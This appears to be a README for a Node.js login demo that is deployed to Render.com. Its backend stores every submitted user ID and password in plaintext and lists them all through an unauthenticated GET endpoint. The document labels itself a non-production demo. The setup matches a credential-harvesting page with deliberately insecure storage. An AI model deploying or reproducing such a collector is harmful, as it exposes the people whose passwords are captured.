Features

• Modern, responsive login page design
• Backend server to store credentials
• RESTful API endpoints
• CORS enabled for cross-origin requests
• File-based storage (can be upgraded to database)

Local Development

Prerequisites

• Node.js (v14 or higher)
• npm

Installation

1. Install dependencies:

npm install

2. Start the server:

npm start

3. Server will run on http://localhost:3000

4. Open index.html in a browser (or serve it separately)

Deploying to Render.com

Step 1: Prepare Your Repository

1. Create a new GitHub repository
2. Push all files to the repository:

git init
git add .
git commit -m "Initial commit"
git remote add origin YOUR_GITHUB_REPO_URL
git push -u origin main

Step 2: Deploy Backend on Render

1. Go to Render.com and sign up/login
2. Click "New +" → "Web Service"
3. Connect your GitHub repository
4. Configure the service:
   • Name: login-demo-backend (or any name)
   • Environment: Node
   • Build Command: npm install
   • Start Command: npm start
   • Instance Type: Free
5. Click "Create Web Service"
6. Wait for deployment to complete
7. Copy your service URL (e.g., https://login-demo-backend.onrender.com)

Step 3: Deploy Frontend on Render

1. Click "New +" → "Static Site"
2. Connect your GitHub repository
3. Configure:
   • Name: login-demo-frontend
   • Build Command: (leave empty)
   • Publish Directory: . (current directory)
4. Click "Create Static Site"

Step 4: Update Frontend Configuration

1. Edit index.html
2. Find this line:

const BACKEND_URL = 'YOUR_RENDER_BACKEND_URL/api/login';

3. Replace with your actual Render backend URL:

const BACKEND_URL = 'https://your-backend-name.onrender.com/api/login';

4. Commit and push the changes:

git add index.html
git commit -m "Update backend URL"
git push

API Endpoints

POST /api/login

Store login credentials

Request:

{
  "userId": "user@example.com",
  "password": "password123",
  "timestamp": "2024-01-01T00:00:00.000Z"
}

Response:

{
  "success": true,
  "message": "Login credentials stored successfully",
  "id": 1
}

GET /api/credentials

View all stored credentials (admin)

Response:

{
  "success": true,
  "count": 2,
  "credentials": [
    {
      "id": 1,
      "userId": "user@example.com",
      "password": "password123",
      "timestamp": "2024-01-01T00:00:00.000Z",
      "ip": "127.0.0.1"
    }
  ]
}

DELETE /api/credentials

Clear all stored credentials

Response:

{
  "success": true,
  "message": "All credentials cleared"
}

Testing

1. Open your frontend URL
2. Enter test credentials
3. Check backend URL + /api/credentials to see stored data

Example:

https://your-backend-name.onrender.com/api/credentials

Security Considerations

⚠️ This is a demo and NOT production-ready!

For a real application, you should:

• Use HTTPS only
• Hash passwords with bcrypt
• Use a proper database (PostgreSQL, MongoDB)
• Implement authentication tokens (JWT)
• Add rate limiting
• Validate and sanitize all inputs
• Use environment variables for sensitive data
• Implement CSRF protection
• Add logging and monitoring

Upgrading to Database (Optional)

To use PostgreSQL instead of file storage:

1. Add dependency:

npm install pg

2. Create database on Render:

   • Go to Render Dashboard
   • Click "New +" → "PostgreSQL"
   • Copy the connection string

3. Update server.js to use PostgreSQL instead of file storage
